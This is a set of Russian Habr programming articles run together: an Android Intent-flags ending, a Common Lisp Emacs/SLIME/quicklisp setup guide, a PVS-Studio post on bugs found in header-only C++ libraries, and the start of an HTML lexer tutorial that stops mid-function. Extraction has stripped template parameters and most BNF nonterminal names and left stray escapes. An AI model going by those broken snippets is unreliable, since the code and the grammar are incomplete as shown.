Помимо назначения режима запуска непосредственно в `AndroidManifest.xml`, мы также можем регулировать поведение с помощью инструмента, называемого **Intent-флагами**, например:
```
Intent intent = new Intent(StandardActivity.this, StandardActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
startActivity(intent);
```
запустит `StandardActivity` с условием singleTop launchMode.
Есть довольно много флагов, с которыми вы можете работать. Вы можете найти больше информации об этом [здесь](https://developer.android.com/reference/android/content/Intent.html#FLAG_ACTIVITY_BROUGHT_TO_FRONT).
Надеюсь, вы нашли эту статью полезной =)
**[Узнать подробнее о курсе](https://otus.pw/hPTK2/)** | https://habr.com/ru/post/493802/ | null | ru | null |
# Common Lisp IDE
Доброго времени суток, уважаемый читатель!
Перед каждым новичком в мире языка программирования [Common Lisp](https://ru.wikipedia.org/wiki/Common_Lisp)
возникает проблема выбора среды разработки — [Integrated Development Environment](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D1%80%D0%B5%D0%B4%D0%B0_%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8) (далее, *IDE*).
Существует большое количество *IDE* для *Common Lisp*. Перечислим некоторые, самые распространенные, из них:
* [LispWorks IDE](http://www.lispworks.com/products/ide.html) (commercial, crossplatform)
* [Allegro Common Lisp](http://franz.com/products/allegro-common-lisp/acl_ide.lhtml) (commercial, crossplatform)
* [LispIDE](http://www.daansystems.com/lispide/) (open source, Windows 2K/XP/Vista/7)
* [Lispbox](https://common-lisp.net/project/lispbox/) (open source, crossplatform)
* [Emacs](http://www.gnu.org/software/emacs/) + [Slime](https://common-lisp.net/project/slime/) (open source, crossplatform)
**Для Знатоков**Знатоки могут возразить относительно последних двух пунктов списка.
Ведь, казалось бы, *Lispbox = Emacs + Slime?!*
Но, если внимательно посмотреть на сайт Lispbox, то, под ссылками для скачивания пакета, Вы увидите:
> Last updated: February 6, 2011.
В данной статье я подробно расскажу как установить и настроить *кроссплатформенную* среду разработки для *Common Lisp*, как скачивать и устанавливать дополнительные библиотеки при помощи [quicklisp](https://www.quicklisp.org/beta/) — менеджера пакетов *Common Lisp*. Будет много полезных ссылок на ресурсы и материалы по языку.
Речь пойдет о связке **GNU Emacs & Slime.**
Если Вас интересует *Common Lisp*, Вам нужна *кроссплатформенная*, *мощная*, *интерактивная* *Common Lisp IDE* с ~~блэкджеком и дамами~~ дебаггером и дизассемблером *(внезапно!)*, то, прошу под кат…
Выбор реализации Common Lisp
============================
*Common Lisp* — *ANSI* стандартизированный язык программирования, не имеющий единой канонической реализации.
Приведу список основных реализаций:
* [Allegro Common Lisp](http://franz.com/products/allegrocl/)
* [Austin Kyoto Common Lisp](https://ru.wikipedia.org/wiki/Kyoto_Common_Lisp)
* [CLISP](http://www.clisp.org/)
* [CMU Common Lisp](http://www.cons.org/cmucl/)
* [Coral Common Lisp](https://ru.wikipedia.org/wiki/Macintosh_Common_Lisp)
* [Corman Common Lisp](http://www.cormanlisp.com/)
* [Embeddable Common Lisp](https://common-lisp.net/project/ecl/)
* [GNU Common Lisp](http://www.gnu.org/software/gcl/)
* [Kyoto Common Lisp](https://ru.wikipedia.org/wiki/Kyoto_Common_Lisp)
* [Macintosh Common Lisp](https://ru.wikipedia.org/wiki/Macintosh_Common_Lisp)
* [Clozure Common Lisp](http://ccl.clozure.com/)
* [Steel Bank Common Lisp](http://www.sbcl.org/) (SBCL)
Нам нужна кроссплатформенная, свободная, автивно развивающаяся реализация *Common Lisp*. Я выбрал *SBCL*.
Итак, начнем!!!
Подготовительные работы
=======================
#### MS Windows
* Создаем директорию для *GNU Emacs* по адресу: *C:\emacs\*
* Создаем директорию для *SBCL* по адресу: *C:\sbcl\*
* [Скачиваем](http://mirror.tochlab.net/pub/gnu/emacs/windows/) последнюю версию *GNU Emacs* и *распаковываем* в директорию *C:\emacs\*
* [Скачиваем](http://www.sbcl.org/platform-table.html) дистрибутив *SBCL* и *устанавливаем* в директорию *C:\sbcl\*
* Заходим в директорию с *GNU Emacs* (*C:\emacs\bin\*), находим *addpm.exe* и запускаем его
(добавит иконку запуска *Emacs* в меню *Пуск*)
* Редактируем переменные окружения:
+ **Создаем переменную окружения с названием *HOME* (если Вы еще этого не делали...) и значением
*C:\Users\%username%\***, где %username% — имя Вашей учетной записи
+ **Создаем переменную окружения с названием *PATH* (если Вы еще этого не делали...) и значением *C:\emacs\bin\***
* Создаем пустой файл с названием *.emacs* в *C:\Users\%username%\*
* Создаем пустую директорию *C:\Users\%username%\.quicklisp\*
* [Скачиваем](https://www.quicklisp.org/beta/) файл *quicklisp.lisp* и размещаем его в директорию *C:\Users\%username%\.quicklisp\*
#### GNU/Linux (deb-based distributives)
* Устанавливаем *GNU Emacs*:
```
sudo apt-get -y install emacs24
sudo apt-get -y install org-mode
sudo apt-get -y install emacs24-el
sudo apt-get -y install emacs-goodies-el
```
* Устанавливаем *SBCL*:
```
sudo apt-get -y install sbcl
sudo apt-get -y install sbcl-doc
sudo apt-get -y install sbcl-source
```
* Создаем пустой файл с названием *.emacs* в домашней директории *~/*
* Создаем пустую директорию *~/.quicklisp/*
* [Скачиваем](https://www.quicklisp.org/beta/) файл *quicklisp.lisp* и размещаем его в директорию *~/.quicklisp/*
```
sudo apt-get -y install curl
curl -o $HOME/.quicklisp/quicklisp.lisp https://beta.quicklisp.org/quicklisp.lisp
```
Настройка Emacs
===============
Пора настроить *Emacs* для профессиональной работы с *Common Lisp* проектами.
**Предупреждение**Вся дальнейшая ребота по настройке системы будет проходить в *GNU Emacs*.
Все, что приведено ниже относится и к *MS Windows* и к *GNU/Linux*.
Подразумевается владение основами редактирования в *Emacs*.
Откроем для редактирования файл *.emacs*. Поехали!
* Определяем реализацию *Common Lisp*:
```
(require 'cl)
(setq-default inferior-lisp-program "sbcl")
```
* Настроим пакетный менеджер Emacs:
```
;; Package manager:
;; Initialise package and add Melpa repository
(require 'package)
(add-to-list 'package-archives
'("melpa-stable" . "https://stable.melpa.org/packages/") t)
(package-initialize)
(defvar required-packages '(slime
smartparens
auto-complete))
(defun packages-installed-p ()
(loop for package in required-packages
unless (package-installed-p package)
do (return nil)
finally (return t)))
(unless (packages-installed-p)
(package-refresh-contents)
(dolist (package required-packages)
(unless (package-installed-p package)
(package-install package))))
```
Теперь, когда Вы запустите *Emacs* снова, то начнется автоматическая загрузка и установка пакетов:
+ [Slime](https://common-lisp.net/project/slime/)
+ [Smartparens](https://github.com/Fuco1/smartparens)
+ [Auto Complete](https://github.com/auto-complete/auto-complete)
* Настроим наши пакеты:
```
(when (packages-installed-p)
(require 'smartparens-config)
(smartparens-global-mode)
(require 'auto-complete-config)
(ac-config-default)
(global-auto-complete-mode t)
(setq-default ac-auto-start t)
(setq-default ac-auto-show-menu t)
(defvar *sources* (list
'lisp-mode
'ac-source-semantic
'ac-source-functions
'ac-source-variables
'ac-source-dictionary
'ac-source-words-in-all-buffer
'ac-source-files-in-current-dir))
(let (source)
(dolist (source *sources*)
(add-to-list 'ac-sources source)))
(add-to-list 'ac-modes 'lisp-mode)
(require 'slime)
(require 'slime-autoloads)
(slime-setup '(slime-asdf
slime-fancy
slime-indentation))
(setq-default slime-net-coding-system 'utf-8-unix))
```
* Настроим отступы Lisp-кода:
```
(setq-default lisp-body-indent 2)
(setq-default lisp-indent-function 'common-lisp-indent-function)
```
Сохраняем файл *.emacs* и перезапускаем *Emacs*.
*Emacs* загрузит и установит *Slime*, *Smartparens* и *Auto Complete* автоматически в директорию
*C:\Users\%username%\.emacs.d\* для *MS Windows* и в директорию *~/.emacs.d/* в *GNU/Linux*.
**Предупреждение**Написанный нами, только что, файл конфигурации *.emacs* является кроссплатформенным!
При переносе с *Linux* на *Windows* и наоборот, **ничего не нужно менять!**
Главное — расположить *.emacs* в нужную директорию (**создание переменной окружения
*HOME* для *MS Windows* — обязательно!**).
Рано праздновать, нужно еще настроить *quicklisp* — пакетный менеджер *Common Lisp*.
Установка и настройка quicklisp
===============================
*Quicklisp* — пакетный менеджер языка *Common Lisp*.
* В запущенном *Emacs* выполняем команду *M-x slime (Alt-x slime)*;
запустится среда разработки *Common Lisp* — *Slime*
* Выполним:
```
;; Подгрузим менеджер пакетов
(load "~/.quicklisp/quicklisp.lisp")
;; Автоматический скачается и установится менеджер пакетов quicklisp
;; со всеми зависимостями
(quicklisp-quickstart:install :path "~/.quicklisp/")
;; Создаст .sbclrc файл в домашней директории
;; и, при каждом запуске среды Slime/SBCL, будет подгружать
;; скаченные и установленные Вами пакеты и библиотеки
(ql:add-to-init-file)
```
Для примера, установим пару библиотек для *Common Lisp* при помощи *quicklisp*:
* *[CEPL](https://github.com/cbaggers/cepl)* is a lispy and REPL friendly library for working with OpenGL:
```
(ql:quickload :swank)
(ql:quickload :sdl2)
(ql:quickload :cepl.sdl2)
```
* работа с БД:
```
(ql:quickload :cl-dbi)
```
* *Web*-сервер:
```
(ql:quickload :hunchentoot)
```
* …
* Вставить любимое расширение *%username%*
* обновление установленных библиотек и самого *quicklisp*:
```
(ql:update-all-dists)
(ql:update-client)
```
Для *Common Lisp* написано [большое](https://habrahabr.ru/post/265589/) количество качественных библиотек на все случаи жизни.
При помощи *quicklisp* их легко установить и начать использовать.
Собственно, у Вас теперь есть все необходимое для того, чтобы с головой окунуться в мир *Common Lisp*!
Поздравляю!
Полезные ссылки
===============
* [Основной сайт языка](https://common-lisp.net/)
* [Common Lisp Wiki](http://cliki.net/) — отличный сайт.
Описание всех известных и полезных библиотек и сред разработки. Короче — *Wiki*
* [Русскоязычное сообщество](http://lisper.ru/)
* Отличный учебник по Common Lisp (перевод) — [Practical Common Lisp](http://lisper.ru/pcl/)
* Мой [.emacs](https://github.com/karlkorp/dotfiles/blob/master/.emacs.org)
* Серия видео-уроков [**«Tutorial on writing a Raytracer in Common Lisp»**](https://www.youtube.com/playlist?list=PL8B05045F714EF585) по созданиию *Raytracer'*а на *Common Lisp*
* Новый, прекрасный [сайт](http://lisp-lang.org/) по *Common Lisp* | https://habr.com/ru/post/259737/ | null | ru | null |
# Почему важно проводить статический анализ открытых библиотек, которые вы добавляете в свой проект
Современные приложения строятся из сторонних библиотек как из кирпичиков. Это нормально и единственный вариант завершить проект за разумное время, потратив разумный бюджет. Тем не менее брать все кирпичи без разбора может оказаться не такой уж хорошей идеей. Если есть несколько вариантов, то полезно уделить время анализу открытых библиотек с целью выбрать наиболее качественную.
Коллекция "Awesome header-only C++ libraries"
---------------------------------------------
История написания этой статьи началась с выхода подкаста Cppcast "[Cross Platform Mobile Telephony](https://cppcast.com/telephony-dave-hagedorn/)". Из него я узнал о существовании списка "[awesome-hpp](https://github.com/p-ranav/awesome-hpp)" в котором перечислено большое количество открытых C++ библиотек, состоящих только из заголовочных файлов.
Этот список заинтересовал меня по двум причинам. Во-первых, это возможность пополнить базу проектов для тестирования нашего анализатора PVS-Studio на современном коде. Многие проекты написаны на C++11, C++14 и C++17. Во-вторых, это возможность написать статью о проверке этих проектов.
Проекты маленькие, поэтому в каждом по отдельности находится мало ошибок. Плюс предупреждений мало, т.к. некоторые ошибки можно будет обнаружить, только если шаблонные классы или функции начать инстанцировать в пользовательском коде. А пока эти классы и функции не используются, то часто невозможно вычислить, есть там ошибка или нет. Тем не менее в сумме набралось достаточно много ошибок, и я напишу о них в следующей статье. Данная же статья не про ошибки, а про предостережение.
Зачем проводить анализ
----------------------
Используя сторонние библиотеки, вы тем самым безоговорочно доверяете им проделать часть работы и вычислений. Опасность в том, что иногда программисты выбирают библиотеку, вообще не задумываясь, что ошибки может содержать не только их код, но и код самой этой библиотеки. Как следствие — неочевидные, непонятные ошибки, которые могут проявиться самым неожиданным образом.
Код известных открытых библиотек хорошо отлажен, и вероятность встретить там ошибку намного меньше, чем в аналогичном коде, написанном самостоятельно. Беда в том, что как раз далеко не все библиотеки широко используются и отлажены. И вот здесь и встаёт вопрос оценки их качества.
Чтобы стало понятнее, давайте рассмотрим пример. Возьмём библиотеку [JSONCONS](https://github.com/danielaparker/jsoncons).
> JSONCONS is a C++, header-only library for constructing JSON and JSON-like data formats such as CBOR.
Конкретная библиотека для конкретных задач. Возможно в целом она хорошо работает, и вы никогда не встретите в ней ошибок. Но не дай бог вам понадобится использовать вот этот перегруженный оператор *<<=*.
```
static constexpr uint64_t basic_type_bits = sizeof(uint64_t) * 8;
....
uint64_t* data()
{
return is_dynamic() ? dynamic_stor_.data_ : short_stor_.values_;
}
....
basic_bigint& operator<<=( uint64_t k )
{
size_type q = (size_type)(k / basic_type_bits);
if ( q ) // Increase common_stor_.length_ by q:
{
resize(length() + q);
for (size_type i = length(); i-- > 0; )
data()[i] = ( i < q ? 0 : data()[i - q]);
k %= basic_type_bits;
}
if ( k ) // 0 < k < basic_type_bits:
{
uint64_t k1 = basic_type_bits - k;
uint64_t mask = (1 << k) - 1; // <=
resize( length() + 1 );
for (size_type i = length(); i-- > 0; )
{
data()[i] <<= k;
if ( i > 0 )
data()[i] |= (data()[i-1] >> k1) & mask;
}
}
reduce();
return *this;
}
```
Предупреждение анализатора PVS-Studio: [V629](https://www.viva64.com/ru/w/v629/) Consider inspecting the '1 << k' expression. Bit shifting of the 32-bit value with a subsequent expansion to the 64-bit type. bigint.hpp 744
Как я понимаю, функция работает с большими числами, которые хранятся как массив 64-битных элементов. Для работы с определёнными битами нужно сформировать 64-битную маску:
```
uint64_t mask = (1 << k) - 1;
```
Вот только эта маска формируется некорректно. Поскольку числовой литерал 1 имеет тип *int*, то при сдвиге его более чем на 31 бит мы получим неопределённое поведение.
> Из стандарта:
>
> shift-expression << additive-expression
>
> …
>
> 2. The value of E1 << E2 is E1 left-shifted E2 bit positions; vacated bits are zero-filled. If E1 has an unsigned type, the value of the result is E1 \* 2^E2, reduced modulo one more than the maximum value representable in the result type. **Otherwise, if E1 has a signed type and non-negative value, and E1\*2^E2 is representable in the result type, then that is the resulting value; otherwise, the behavior is undefined.**
Значение переменной *mask* может получиться каким угодно. Да-да знаю, теоретически из-за UB вообще может произойти что угодно. Но на практике, скорее всего, речь идёт о некорректном результате выражения.
Итак, перед нами функция, которой нельзя пользоваться. Вернее, она будет работать только для некоторых частных случаев значения входного аргумента. Перед нами потенциальная ловушка, в которую может попасть программист. Программа может работать и проходить различные тесты, а потом неожиданно отказать у пользователя на других входных файлах.
А ещё одну такую же ошибку можно видеть в *operator>>=*.
Риторический вопрос. Стоит ли доверять этой библиотеке?
Возможно, стоит. В конце концов ошибки есть в любых проектах. Однако стоит задуматься: если существуют эти ошибки, нет ли других, которые могут привести к неприятной порче данных? Не лучше ли отдать предпочтение более популярной/оттестированной библиотеке, если их несколько?
Неубедительный пример? Хорошо, давайте другой. Возьмём математическую библиотеку [Universal](https://github.com/stillwater-sc/universal). Ожидаемо, что библиотека предоставляет возможность оперировать с векторами. Например, умножать и делить вектор на скалярное значение. Хорошо, давайте посмотрим, как реализованы эти операции. Умножение:
```
template
vector operator\*(double scalar, const vector& v) {
vector scaledVector(v);
scaledVector \*= scalar;
return v;
}
```
Предупреждение анализатора PVS-Studio: [V1001](https://www.viva64.com/ru/w/v1001/) The 'scaledVector' variable is assigned but is not used by the end of the function. vector.hpp 124
Из-за опечатки возвращается не новый контейнер *scaledVector*, а исходный вектор. Та же самая ошибка и в операторе деления. Facepalm.
Опять-таки, отдельно эти ошибки ни о чём не говорят. Хотя нет, это намёк, что этой библиотекой мало пользуются и высока вероятность, что в ней есть и другие серьёзные незамеченные ошибки.
**Вывод.** Если одну и туже функциональность предоставляют несколько библиотек, то стоит осуществить предварительный анализ их качества и выбрать наиболее протестированную и надёжную.
Как проводить анализ
--------------------
Хорошо, мы хотим понять качество кода библиотек, но как это сделать? Да, сделать это непросто. Нельзя просто взять и посмотреть код. Вернее, посмотреть-то можно, но это даст мало информации. И тем более такой просмотр вряд ли поможет оценить плотность ошибок в проекте.
Вернёмся к уже упомянутой ранее математической библиотеке Universal. Попробуйте найти ошибку в коде вот этой функции. Собственно, видя сопровождающий комментарий, я не могу пройти мимо этого места :).
```
// subtract module using SUBTRACTOR: CURRENTLY BROKEN FOR UNKNOWN REASON
```
```
template
void module\_subtract\_BROKEN(const value& lhs, const value& rhs,
value& result) {
if (lhs.isinf() || rhs.isinf()) {
result.setinf();
return;
}
int lhs\_scale = lhs.scale(),
rhs\_scale = rhs.scale(),
scale\_of\_result = std::max(lhs\_scale, rhs\_scale);
// align the fractions
bitblock r1 = lhs.template nshift(lhs\_scale-scale\_of\_result+3);
bitblock r2 = rhs.template nshift(rhs\_scale-scale\_of\_result+3);
bool r1\_sign = lhs.sign(), r2\_sign = rhs.sign();
if (r1\_sign) r1 = twos\_complement(r1);
if (r1\_sign) r2 = twos\_complement(r2);
if (\_trace\_value\_sub) {
std::cout << (r1\_sign ? "sign -1" : "sign 1") << " scale "
<< std::setw(3) << scale\_of\_result << " r1 " << r1 << std::endl;
std::cout << (r2\_sign ? "sign -1" : "sign 1") << " scale "
<< std::setw(3) << scale\_of\_result << " r2 " << r2 << std::endl;
}
bitblock difference;
const bool borrow = subtract\_unsigned(r1, r2, difference);
if (\_trace\_value\_sub) std::cout << (r1\_sign ? "sign -1" : "sign 1")
<< " borrow" << std::setw(3) << (borrow ? 1 : 0) << " diff "
<< difference << std::endl;
long shift = 0;
if (borrow) { // we have a negative value result
difference = twos\_complement(difference);
}
// find hidden bit
for (int i = abits - 1; i >= 0 && difference[i]; i--) {
shift++;
}
assert(shift >= -1);
if (shift >= long(abits)) { // we have actual 0
difference.reset();
result.set(false, 0, difference, true, false, false);
return;
}
scale\_of\_result -= shift;
const int hpos = abits - 1 - shift; // position of the hidden bit
difference <<= abits - hpos + 1;
if (\_trace\_value\_sub) std::cout << (borrow ? "sign -1" : "sign 1")
<< " scale " << std::setw(3) << scale\_of\_result << " result "
<< difference << std::endl;
result.set(borrow, scale\_of\_result, difference, false, false, false);
}
```
Уверен, несмотря на то, что я подсказал про наличие ошибки в этом коде, найти её непросто.
Если не нашли, то вот она. Предупреждение PVS-Studio: [V581](https://www.viva64.com/ru/w/v581/) The conditional expressions of the 'if' statements situated alongside each other are identical. Check lines: 789, 790. value.hpp 790
```
if (r1_sign) r1 = twos_complement(r1);
if (r1_sign) r2 = twos_complement(r2);
```
Классическая опечатка. Во втором условии должна проверяться переменная *r2\_sign*.
В общем, о "ручном" обзоре кода можно забыть. Да, такой путь возможен, но неоправданно трудоёмок.
Что я предлагаю? Очень просто. Используйте [статический анализ кода](https://www.viva64.com/ru/t/0046/).
Проверьте библиотеки, которые вы собираетесь использовать. Начните смотреть отчёты и достаточно быстро вам всё станет понятно.
Вам даже не нужен глубокий тщательный анализ и вам не надо заниматься фильтрацией ложных срабатываний. Достаточно просто пройтись по отчёту и изучить предупреждения. Ложные срабатывания из-за отсутствия настроек можно просто потерпеть и сосредоточиться на ошибках.
Впрочем, ложные срабатывания косвенно тоже можно учитывать. Чем их больше, тем код более неопрятен. Другими словами, в коде много приёмов, сбивающих анализатор с толку. Путают они и людей, поддерживающих проект, и, как следствие, негативно влияют на его качество.
**Примечание.** Не забывайте о размере проектов. В большом проекте всегда будет больше ошибок. Но количество ошибок совсем не тоже самое, что и плотность ошибок. Учитывайте это, беря проекты разного размера и делайте поправку.
Что использовать
----------------
Существует [множество](https://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis) инструментов статического анализа кода. Я естественно предлагаю использовать анализатор [PVS-Studio](https://www.viva64.com/ru/pvs-studio/). Он отлично подходит как для разовой оценки качества кода, так и для регулярного поиска и исправления ошибок.
Вы можете проверить код проектов на языке C, C++, C# и Java. Продукт является проприетарным. **Однако, бесплатной триальной лицензии будет более чем достаточно для оценки качества нескольких открытых библиотек.**
Также напоминаю, что существует несколько вариантов бесплатного лицензирования анализатора для:
* [студентов](https://www.viva64.com/ru/for-students/);
* [открытых проектов](https://www.viva64.com/ru/open-source-license/);
* [закрытых проектов](https://www.viva64.com/ru/b/0457/) (требуется добавление специальных комментариев в код);
* [Microsoft MVP](https://www.viva64.com/ru/mvp/).
Заключение
----------
Методология статического анализа кода до сих пор незаслуженно недооценивается многими программистами. Возможная тому причина — опыт работы с простыми шумными инструментами класса "linter", которые осуществляют весьма простые и, к сожалению, часто малополезные проверки.
Тем, кто сомневается, стоит ли попробовать внедрять статический анализатор в процесс разработки, две следующие публикации:
* [Как внедрить статический анализатор кода в legacy проект и не демотивировать команду](https://www.viva64.com/ru/b/0743/).
* [Причины внедрить в процесс разработки статический анализатор кода PVS-Studio](https://www.viva64.com/ru/b/0687/).
Спасибо за внимание, и желаю поменьше багов как в вашем коде, так и в коде используемых библиотек :).
[](https://habr.com/en/company/pvs-studio/blog/520494/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Why it is important to apply static analysis for open libraries that you add to your project](https://habr.com/en/company/pvs-studio/blog/520494/). | https://habr.com/ru/post/520498/ | null | ru | null |
# Искусство парсинга или DOM своими руками
Привет, Хабр! Недавно я задался идеей создать простой язык разметки наподобие markdown, который отлично подходил бы для моих задач, а именно — быстрого написания лекций с форматированием и возможностью вставки математических формул «на лету», с применением одной лишь клавиатуры. Чтобы перевести текст, написанный в таком формате, в более понятную форму, например, документ LibreOffice Writer, нужен *синтаксический анализатор*, проще говоря — *парсер*. Поскольку я привык делать велосипеды, то направился в поисковые системы с запросами «parser example», «html to DOM», «how to parse html» и др. К моему разочарованию, на всех найденных ресурсах либо приводились элементарные примеры типа калькулятора Страуструпа с рекурсивным спуском, либо использовались готовые решения, такие как flex, bison, llvm и yacc. Библиотек, предназначенных для парсинга строго определённых языков, нашлось ещё больше (gumbo, jsoup, rapidjson, инструменты Qt и др.) Ни то, ни другое не входило в мои планы по написанию парсера своей разметки на C++ с использованием лишь стандартной библиотеки, поэтому моим источником знаний об искусстве парсинга вместо электронных ресурсов стали методички технических институтов. О том, как взять текст и построить из него AST (абстрактное синтаксическое дерево), о некоторых подводных камнях, на которые я натыкался в процессе, о возможных ошибках я сегодня и расскажу.
Сразу оговорюсь, — если ваша цель — свой скриптовый язык или что ещё сложнее, этой статьи будет недостаточно для его реализации. В идеале нужно на отлично знать теорию автоматов и дискретные структуры. Но в качестве отправной точки можно пока ограничиться и моим опытом, которым я щедро поделюсь под катом. Это не совсем то, что я задумывал изначально, зато идеально подходит для примера. Парсить мы будем HTML, как простой и всем знакомый язык.
Прежде всего, парсинг, или *синтаксический разбор* — не синоним полного процесса превращения текста в объектную модель. Сам процесс состоит из двух этапов:
1. **Лексический разбор** текста на токены — небольшие куски этого текста, имеющие определённое синтаксическое значение.
2. **Синтаксический разбор** — построение из токенов на основе их значений *абстрактного синтаксического дерева* (AST — abstract syntax tree), или *объектной модели документа* (DOM — document object model).
Но давайте по порядку. Перед тем, как открывать свою любимую IDE и писать код, нужно разработать грамматику будущего языка. Из формальных контекстно-свободных грамматик самые известные — *форма Бэкуса-Наура (БНФ)* и *расширенная форма Бэкуса-Наура*. Я использовал их симбиоз, взяв лучшее от обеих форм. Любое выражение можно определить через другие выражения так:
```
<сумма> = <выражение_1> <знак_плюс> <выражение_2>
```
Здесь одно выражение определено через три других, следующих одно за другим. Их, в свою очередь, тоже необходимо представить через «третьи» выражения и т.д.
Когда же остановиться?
Описание синтаксиса любого языка в формальных грамматиках состоит из двух типов лексем: *терминалов* и *нетерминалов*. **Нетерминалы** — выражения, требующие определения:
```
<выражение_1> = <число> (<знак_умножения> | <знак_деления>) <число>
```
**Терминалы** самодостаточны, их не нужно определять. Выше приведённые примеры можно записать так:
```
<сумма> = <выражение_1> "+" <выражение_2>
<выражение_1> = <число> ("*" | "/") <число>
```
где "+", "\*", "/" — терминалы.
Выделить из грамматики терминалы нужно сразу, можно даже выписать их в отдельный список внизу основных определений, — они пригодятся позже.
Полное описание БНФ доступно в Википедии [здесь](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BC%D0%B0_%D0%91%D1%8D%D0%BA%D1%83%D1%81%D0%B0_%E2%80%94_%D0%9D%D0%B0%D1%83%D1%80%D0%B0) и [здесь](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D1%84%D0%BE%D1%80%D0%BC%D0%B0_%D0%91%D1%8D%D0%BA%D1%83%D1%81%D0%B0_%E2%80%94_%D0%9D%D0%B0%D1%83%D1%80%D0%B0). Составление грамматики языка — важная стадия создания языка, не терпящая легкомыслия. Одна ошибка в ней может привести к полностью нерабочему коду, который придётся переписывать с нуля. Поэтому, прежде чем делать следующий шаг, убедитесь, что в составленной грамматике не осталось спорных моментов. Если у вас два монитора, будет удобно на всё оставшееся время работы занять документом с грамматикой один монитор, чтобы иметь возможность быстро перемещаться глазами на него, когда будете кодить. Поверьте, так придётся делать постоянно. Вот составленная мной грамматика HTML5 в форме БНФ:
```
(* document *)
= {}
= | | | |
= {}
(\* tags \*)
= "<" {} [] {} ">"
= "<" "/" {} {} ">"
= "<" "!" {} [} ["/"] ">"
= "<" "!" "--" "--" ">"
= "<" "?" "?" ">"
= "a" | "abbr" | "address" | "article" | "aside" | "audio" | "b" | "bdo" | "blockquote" | "body" | "button" | "canvas" | "caption" | "cite" | "code" | "colgroup" | "data" | "datalist" | "dd" | "del" | "details" | "dfn" | "dialog" | "div" | "dl" | "dt" | "em" | "fieldset" | "figcaption" | "figure" | "footer" | "form" | "h1" | "h2" | "h3" | "h4" | "h5" | "h6" | "head" | "header" | "html" | "i" | "iframe" | "ins" | "kbd" | "label" | "legend" | "li" | "main" | "map" | "mark" | "meter" | "nav" | "noscript" | "object" | "ol" | "optgroup" | "option" | "output" | "p" | "picture" | "pre" | "progress" | "q" | "ruby" | "rb" | "rt" | "rtc" | "rp" | "s" | "samp" | "script" | "section" | "select" | "small" | "span" | "strong" | "style" | "sub" | "summary" | "sup" | "table" | "tbody" | "td" | "template" | "textarea" | "tfoot" | "th" | "thead" | "time" | "title" | "tr" | "track" | "u" | "ul" | "var" | "video"
= "area" | "base" | "br" | "col" | "embed" | "hr" | "img" | "input" | "link" | "menuitem" | "meta" | "param" | "source" | "track" | "wbr"
(\* attributes \*)
= {} { {} }
= | | |
=
= {} "=" {}
= {} "=" {} "'" "'"
= {} "=" {} "\"" "\""
= ( | ) { | }
{\* attribute values \*)
= /^[\s"'=<>/]/ {/^[\s"'=<>/]/}
= /^[']/ {/^[']/}
= /^["]/ {/^["]/}
(\* nonterminals \*)
= {/^[<>]/}
= ...
= ...
= /[a-zA-Z]/
= /[0-9]/
= " " | "\t" | "\n"
(\* terminals \*)
"<", ">", "/", "!", "?", " ", "\t", "\n"
```
Когда грамматика готова, можно приступать к лексическому анализатору (другое название лексического разборщика, т.к. помимо разбора, он выявляет в документе лексические ошибки). На первый взгляд всё просто: поглощать символы, записывать в буфер и при обнаружении ключевого терминала определять полученную лексему как токен с определённым типом, так? Да, только тип токена здесь имеет большее значение, чем символ. Сейчас поясню. Само собой, процедура disassemble(ifsteam &file) должна содержать цикл, читающий по одному символу из входного потока и отправляющий его в процедуру process(const char &c), где этот символ обрабатывается. Кажется, что процедуре process нужно содержать switch©, где на каждый ключевой символ определены свои функции в зависимости от текущего типа токена. На самом деле всё наоборот: лучше с помощью switch проверять именно тип токена, а функции определять для символов. Более того, текущий токен чаще всего имеет неопределённый тип, один из многих. Например, после открытия угловой скобки может идти: открывающий, закрывающий, пустой теги, а также комментарий в стиле HTML или макро тег (сценарий PHP, заключённый в "… ?". И для всех таких объединений нужен свой case. Как такое реализовать? С помощью битовых флагов. Пусть задано конечное число типов токена (чем больше — тем лучше, так как задача лексического анализатора — оставить как можно меньше работы синтаксическому). Для каждого типа задано уникальное число степени двойки (1, 2, 4, 8 и т.д). Тогда в двоичном формате они будут выглядеть так: 0001, 0010, 0100 и т.д., и при побитовом сложении любого числа любых типов получится уникальное число. Если текстовое описание сложно для понимания, приведу код. Вот определение типов:
```
enum Token_type {
END = 1, TEXT = 2,
OPENING_BLOCK_TAG_NAME = 4, CLOSING_BLOCK_TAG_NAME = 8, EMPTY_TAG_NAME = 16, COMMENT = 32, MACRO_TAG = 64,
ATTRIBUTE_NAME = 128, UNQUOTED_ATTRIBUTE_VALUE = 256, SINGLE_QUOTED_ATTRIBUTE_VALUE = 512, DOUBLE_QUOTED_ATTRIBUTE_VALUE = 1024
};
```
Урезанная процедура process:
```
void Lexer::process (const char &c) {
switch (curr_token_type) {
case END: {
throw string("unexpected ending!");
break; }
case TEXT: {
if (c == '>')
throw string("unexpected symbol: \">\"!");
else if (c == '<') {
if (!buffer.empty()) {
add(buffer, TEXT);
buffer.clear();
}
curr_token_type = OPENING_BLOCK_TAG_NAME | CLOSING_BLOCK_TAG_NAME | EMPTY_TAG_NAME | COMMENT | MACRO_TAG;
} else
buffer.push_back(c);
break; }
case OPENING_BLOCK_TAG_NAME: {
throw string("error!");
break; }
case CLOSING_BLOCK_TAG_NAME: {
if (c == '<')
throw string("unexpected symbol: \"<\"!");
else if (c == '/')
throw string("unexpected symbol: \"<\"!");
else if (c == '!')
throw string("unexpected symbol: \"!\"!");
else if (c == '?')
throw string("unexpected symbol: \"?\"!");
else if (c == ' ')
throw string("unexpected symbol: \" \"!");
else if (c == '\t')
throw string("unexpected symbol: \"\\t\"!");
else if (c == '\n')
throw string("unexpected symbol: \"\\n\"!");
else if (c == '>') {
for (unsigned int i(0); i < BLOCK_TAGS_COUNT; i++)
if (buffer == block_tags[i]) {
add(buffer, CLOSING_BLOCK_TAG_NAME);
buffer.clear();
curr_token_type = TEXT;
break;
}
